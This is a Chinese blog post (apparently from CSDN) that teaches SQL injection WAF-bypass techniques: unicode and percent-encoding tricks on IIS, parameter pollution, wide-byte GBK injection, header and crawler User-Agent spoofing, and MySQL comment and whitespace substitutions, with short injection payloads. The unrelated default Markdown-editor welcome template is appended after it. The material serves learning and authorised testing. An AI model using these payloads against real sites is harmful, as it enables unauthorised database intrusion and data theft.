这里
作者名:Demo不是emo
主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,中后期主要是经验和能力的提高,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构;
每日emo:晚安,换个世界想你,待会见
本文分享了我自己总结的常规sql注入常规操作步骤,足够在日常sql渗透测试时使用,适合一些对渗透测试流程不是特别清晰的同学观看,会不定期更新并完善内容
目录
一.识别WAF类型
1.Nmap:
用法: nmap -p 80 --script http-waf-fingerprint 网址
demo: nmap -p 80 --script http-waf- detect.nse www.baidu.com
2.Waf00f:
用法:waf00f 网址,该工具kali自带
3.拦截信息观察
根据拦截界面一般可以观察出waf类型,但有的不行
二.观察服务器特性
1.ASP+IIS
如果网站后端语言是ASP,并且使用的IIS中间件,则有可能存在以下waf绕过姿势
(1)%特性:
就是在指令中插入%,导致waf层解析不出完整指令从而放行,但是在数据库层面运行时就可能被识别并解析出完整指令,就达到绕 过waf目的
例子:比如s%elect因为有%隔开,所以waf层可能识别结果就是s%elect,但是在数据库层面可能被识别并解析为select,所以就达到了绕过waf的目的
(2)%u特性:
适用于用unicode编码绕过waf时, unicode编码被iis解析会换成multibyte编码,但是有几个不同的unicode编码会被换成同一个multibyte,而waf层可能只识别其中的一个unicode编码,所以此时换另一个unicode编码就有可能绕过waf的防护
例子:比如select的e对应的unicode编码为%u0065,但是%u00f0和%u0045同样会被化为e,waf可能只能识别其中的%u0065,所以此时我们换成%u00f0,就能成功绕过waf,但是iis解析时同样解析为e所以此时就可以理解为
select=s%u0045lect = s%u0065lect =%u00f0lect
下面为大家准备了常见的uncoide编码替换方案
-
常见三个关键字(union,
select,
from)的测试情况:
-
-
u --
> %u
0055 --
> %u
0075
-
n --
> %u
004e --
> %u
006e
-
i --
> %u
0049 --
> %u
0069
-
o --
> %u
004f --
> %u
006f --
> %u
00ba
-
s --
> %u
0053 --
> %u
0073
-
l --
> %u
004c --
> %u
006c
-
e --
> %u
0045 --
> %u
0065 --
> %u
00f
0
-
c --
> %u
0043 --
> %u
0063
-
t --
> %u
0054 --
> %u
0074 --
> %u
00
de --
> %u
00fe
-
f --
> %u
0046 --
> %u
0066
-
r --
> %u
0052 --
> %u
0072
-
m --
> %u
004d --
> %u
006d
2.ASP+IIS和ASPX+IIS
(1)IIS服务器支持对unicode的解析
比如对select命令进行unicode编码,可以的到s%u006c%u0006ect,iis接收时会对unicode编码解析,最后识别为select,但是waf层可能识别不了unicode编码
3.apache畸形绕过
(1)get替换
在GET请求发起的数据包中,GET可以替换为任意字符(一般替换成POST),不影响apahce接收参数id=2,即把请求包我圈上的的GET换成啥都行
三:应用层特性
1.大小写绕过
这个就不需要多讲了,就是将命令中的字符进行一个大小写替换,有时能够绕过waf
例子:把select换成SeleCt(一般waf都会对这个有防护,但还是可以碰碰运气)
2.关键字替换
关键字替换在平时的渗透中使用的较多,主要是寻找同义函数,寻找替代品,一些关键字被防护拦截时就可以尝试替换
下面也为大家准备了一些常用的关键词替换
-
(
1)
and --
>
&
& --
>
or ---
>
xor --
> ||
/
/(使用时需url编码)(
xor只有一真一假才得真,其他都假)
-
(
2)ascii() --
> He
x() --
> bin() --
>ord()
-
(
3)sleep() --
> benchmark()
-
(
4)substr() --
> mid() --
> substring()
-
(
5)user() --
> @@user
-
(
6)version() --
>@@version
-
(
7)# --
> --
+ --
> ;%
00
-
(
8)
= --
>
in --
> regexp --
> like --
>
<>
3.双重编码
对命令进行双重编码,unicode,base64,hex都可以尝试,有可能绕过waf的识别
4.变换请求方式
(1)将以GET方式提交的数据通过修改发送的数据包换成以POST方式提交
(2)在POST请求中,可以将Post数据包转为multipart/form-data格式数据包(burp可以换)
5.HPP参数污染
(1)参数混淆
就是注入的时候尝试加入更多参数并改变注入位置来混淆识别机制,假设现有有一个站点的注入点时www.xxxx/?id=1,详情如下(此操作对不同环境效果不同)
操作:
【1】. 加入更多混淆参数
例如:?id=1&id=2&id=3
【2】.在asp + iis环境的中:
系统识别到的真实的id等于1+2+3,即三个id的值会拼接作为接收到的id值,此时我们就可以将攻击命令拆分注入,达到绕过waf的目的
例如:?id=1 union&ID=select 1,2&Id=from admin,此时的真实id的值就是
1 union select 1 from admin
【3】.php+apache的环境中:
此时系统识别到的真实id=3,就是只识别最后一个id的值,前面的id都不管
(2)参数拼接
get+post+cookie三个数据传输方式拼接的传参
(3)过滤逗号
?id=1 select 1,2,3,4 from admin可以修改为下面这种不需要逗号的格式
?id=1 union select 1&id=2&id=3&id=4 from admin
(4)无效参数
例如:?a=/*&sql=xxx&b=*/(无参数形式)
(a和b为无效参数,但a和b的值却构成了注释符(/**/),通过让waf以为这是注释里执行的就不拦截,但此时在a和b中间的参数进行注入就可以了)
(5)溢出形式
溢出形式算是特别常用的一种注入手段,就是依靠缓存溢出机制,用大量的脏数据来使我们的攻击命令绕过waf的拦截
例如:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union select null,system_user,null from INFORMATION_SCHEMA.schemata
6.宽字节绕过
(1)gbk编码转换
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
存在宽字节注入的原因是因为部分防护机制是使用addslashes函数,会在我们输入的非法字符前添加“\”,而“\”会与我们的恶意代码的第一个字符形成gbk编码格式被解析,导致我们注入不成功
例子:注入点:www.xxxx.com?id=1
如果跟正常渗透操作一样加一个单引号,此时他就会生成一个‘\’在单引号前面,成为“\'”跟单引号形成gbk编码
此时我们可以在'的前面加上%81,就会形成下面这样的状态
www.xxxx.com?id=1%81\'
此时%81就会跟生成的\形成gbk编码,即%81%5C,被GBK当做编码识别成为“乗”字,而单引号不受影响正常注入
在线gbk编码对照表:GBK 编码范围, GBK 编码表 (qqxiuzi.cn)
四:WAF层特性:
1.逻辑问题
(1)cdn防护型
有的站点只有cdn有防护,所以我们可以通过查找真实ip,来绕过cdn防护
(2)数据混淆型
即get和post同时提交,有可能waf进入post逻辑,忽略get的有害参数
(3)错误配置型
遇到https的站点时,有可能也同时开放了http服务,此时可能只有https有防护,只需要把url中的https换成http即可绕过
(4)00截断型
%00,部分waf无法识别%00之后的数据,此时可以id=1%00,后面放入注入语句
2.性能问题
(1)数据量问题
填充脏数据使数据达到一定量级,此时注入语句放在最后,比如传入多个参数其他参数,但是最后传入对的是正常参数
(2)处理量问题
同一请求多次发送,有些waf性能较低即可绕过,直接burp一直发
注:这里的两个谨慎使用,可能会影响有些小网站的正常运行
3.白名单
(1)ip白名单
有的waf会设置白名单方便管理员等人员访问与管理,假如此时你获取到了管理员的ip信息,就可以通过修改请求数据包中下面的参数(没有的话直接添加也可以)来绕过waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
(2)静态资源
常见的静态文件(.js .jpg .swf .css等等),因为部分管理员为了方便调用资源,就设置了后缀白名单,waf识别到之后就不会拦截,将请求的数据加上白名单中的静态资源后缀即可绕过waf
例如 :http://10.9.9.201/sql.php/1.js?id=1
(3)URL白名单
这个原理也一样,有的管理员想要减少用于防护的费用,一些不重要的路径就不会进行cdn防护,而判断路径是否重要也是通过添加白名单的方式,只要检测出了在白名单中的路径,就会直接放行
步骤:直接另设一个参数,参数的值为一些路径,也可能绕过
(4)爬虫白名单
这个就比较容易理解,很多网站为了在百度,Goole等搜索引擎里占更多权重,会把这类搜索引擎爬取网页时的UA头添加到白名单,此时只需要把我们的UA头换成搜索引擎的UA即可绕过waf
user-agent伪装成爬虫,下面我也给大家准备了一些常见搜索引擎的爬虫UA头
-
下面三个分别对应谷歌,百度,雅虎
-
UserAgent:
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
-
UserAgent:
"Baiduspider+(+http://www.baidu.com/search/spider.htm)"
-
UserAgent:
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
五:mysql数据库特性
1.Mysql:
(1)常用:
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过: %23%0a、%2d%2d%0a
(2)注入语句替换方式
[1]空格常见替换方式
/**/
/*!12345union*/
/*anything*/
[2]空白字符
可添加在任意位置
%09,%0a,%0b,%0c,%0d,%20,%a0都可以替换
一般%a0和%0a合起来用比较多, 即%a0%0a
[3]将注入语句的数字换成浮点型
[4]将空格替换为1E0
[5]空格替换为/N
[6]用空格或者引号包裹函数
[7]特殊符号代替空格
一些时候空格也会称为waf判断的重要依据,所以我们也可以把空格替换成其他字符
下面就是我给大家准备的常见替换方式
-
%
21 ! 叹号
-
%
2b
+ 加号
-
%
2d
- 减号
-
%
40 @ 电子邮件符号
-
%
7e ~ 波浪号
(3)函数
[1]常见字符串截取函数
[2]常见字符串连接函数
[3]特殊字符被过滤
【1】limit的逗号
limit 1 offset 0
【2】字符串截取处的逗号
mid(version() from 1 for 1)
【3】union处的逗号
union select * from (select 1)a join (select 2)b join (select 3)c
【4】过滤了比较符号
greatest代替,greatest返回三个参数的最大值
[4]部分函数构造
【1】sleep:
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
本文适合渗透测试中的sql注入初学者,或者对sql注入一知半解的同学,这仅仅是一部分,最重要的一点是虽然这里的绕过姿势很多,但将这些姿势多层嵌套衍生出的各种魔术绕过方法往往才是实战中最好用的
渗透测试学习中,有什么问题可以在评论区或者私信我讨论,内容会不定期更新,欢迎收藏和留言 ,最后,感谢大家的阅读
欢迎使用Markdown编辑器
你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。
新的改变
我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:
- 全新的界面设计 ,将会带来全新的写作体验;
- 在创作中心设置你喜爱的代码高亮样式,Markdown 将代码片显示选择的高亮样式 进行展示;
- 增加了 图片拖拽 功能,你可以将本地的图片直接拖拽到编辑区域直接展示;
- 全新的 KaTeX数学公式 语法;
- 增加了支持甘特图的mermaid语法1 功能;
- 增加了 多屏幕编辑 Markdown文章功能;
- 增加了 焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置 等功能,功能按钮位于编辑区域与预览区域中间;
- 增加了 检查列表 功能。
功能快捷键
撤销:Ctrl/Command + Z
重做:Ctrl/Command + Y
加粗:Ctrl/Command + B
斜体:Ctrl/Command + I
标题:Ctrl/Command + Shift + H
无序列表:Ctrl/Command + Shift + U
有序列表:Ctrl/Command + Shift + O
检查列表:Ctrl/Command + Shift + C
插入代码:Ctrl/Command + Shift + K
插入链接:Ctrl/Command + Shift + L
插入图片:Ctrl/Command + Shift + G
查找:Ctrl/Command + F
替换:Ctrl/Command + G
合理的创建标题,有助于目录的生成
直接输入1次#,并按下space后,将生成1级标题。
输入2次#,并按下space后,将生成2级标题。
以此类推,我们支持6级标题。有助于使用TOC
语法后生成一个完美的目录。
如何改变文本的样式
强调文本 强调文本
加粗文本 加粗文本
标记文本
删除文本
引用文本
H2O is是液体。
210 运算结果是 1024.
插入链接与图片
链接: link.
图片:
带尺寸的图片:
居中的图片:
居中并且带尺寸的图片:
当然,我们为了让用户更加便捷,我们增加了图片拖拽功能。
如何插入一段漂亮的代码片
去博客设置页面,选择一款你喜欢的代码片高亮样式,下面展示同样高亮的 代码片
.
// An highlighted block
var foo = 'bar';
生成一个适合你的列表
- 项目
- 项目
- 项目
- 项目
- 项目1
- 项目2
- 项目3
- 计划任务
- 完成任务
创建一个表格
一个简单的表格是这么创建的:
项目 | Value |
---|---|
电脑 | $1600 |
手机 | $12 |
导管 | $1 |
设定内容居中、居左、居右
使用:---------:
居中
使用:----------
居左
使用----------:
居右
第一列 | 第二列 | 第三列 |
---|---|---|
第一列文本居中 | 第二列文本居右 | 第三列文本居左 |
SmartyPants
SmartyPants将ASCII标点字符转换为“智能”印刷标点HTML实体。例如:
TYPE | ASCII | HTML |
---|---|---|
Single backticks | 'Isn't this fun?' | ‘Isn’t this fun?’ |
Quotes | "Isn't this fun?" | “Isn’t this fun?” |
Dashes | -- is en-dash, --- is em-dash | – is en-dash, — is em-dash |
创建一个自定义列表
-
Markdown
- Text-to- HTML conversion tool Authors
- John
- Luke
如何创建一个注脚
一个具有注脚的文本。2
注释也是必不可少的
Markdown将文本转换为 HTML。
KaTeX数学公式
您可以使用渲染LaTeX数学表达式 KaTeX:
Gamma公式展示 Γ ( n ) = ( n − 1 ) ! ∀ n ∈ N \Gamma(n) = (n-1)!\quad\forall n\in\mathbb N Γ(n)=(n−1)!∀n∈N 是通过欧拉积分
Γ ( z ) = ∫ 0 ∞ t z − 1 e − t d t . \Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. Γ(z)=∫0∞tz−1e−tdt.
你可以找到更多关于的信息 LaTeX 数学表达式here.
新的甘特图功能,丰富你的文章
- 关于 甘特图 语法,参考 这儿,
UML 图表
可以使用UML图表进行渲染。 Mermaid. 例如下面产生的一个序列图:
这将产生一个流程图。:
- 关于 Mermaid 语法,参考 这儿,
FLowchart流程图
我们依旧会支持flowchart的流程图:
- 关于 Flowchart流程图 语法,参考 这儿.
导出与导入
导出
如果你想尝试使用此编辑器, 你可以在此篇文章任意编辑。当你完成了一篇文章的写作, 在上方工具栏找到 文章导出 ,生成一个.md文件或者.html文件进行本地保存。
导入
如果你想加载一篇你写过的.md文件,在上方工具栏可以选择导入功能进行对应扩展名的文件导入,
继续你的创作。
注脚的解释 ↩︎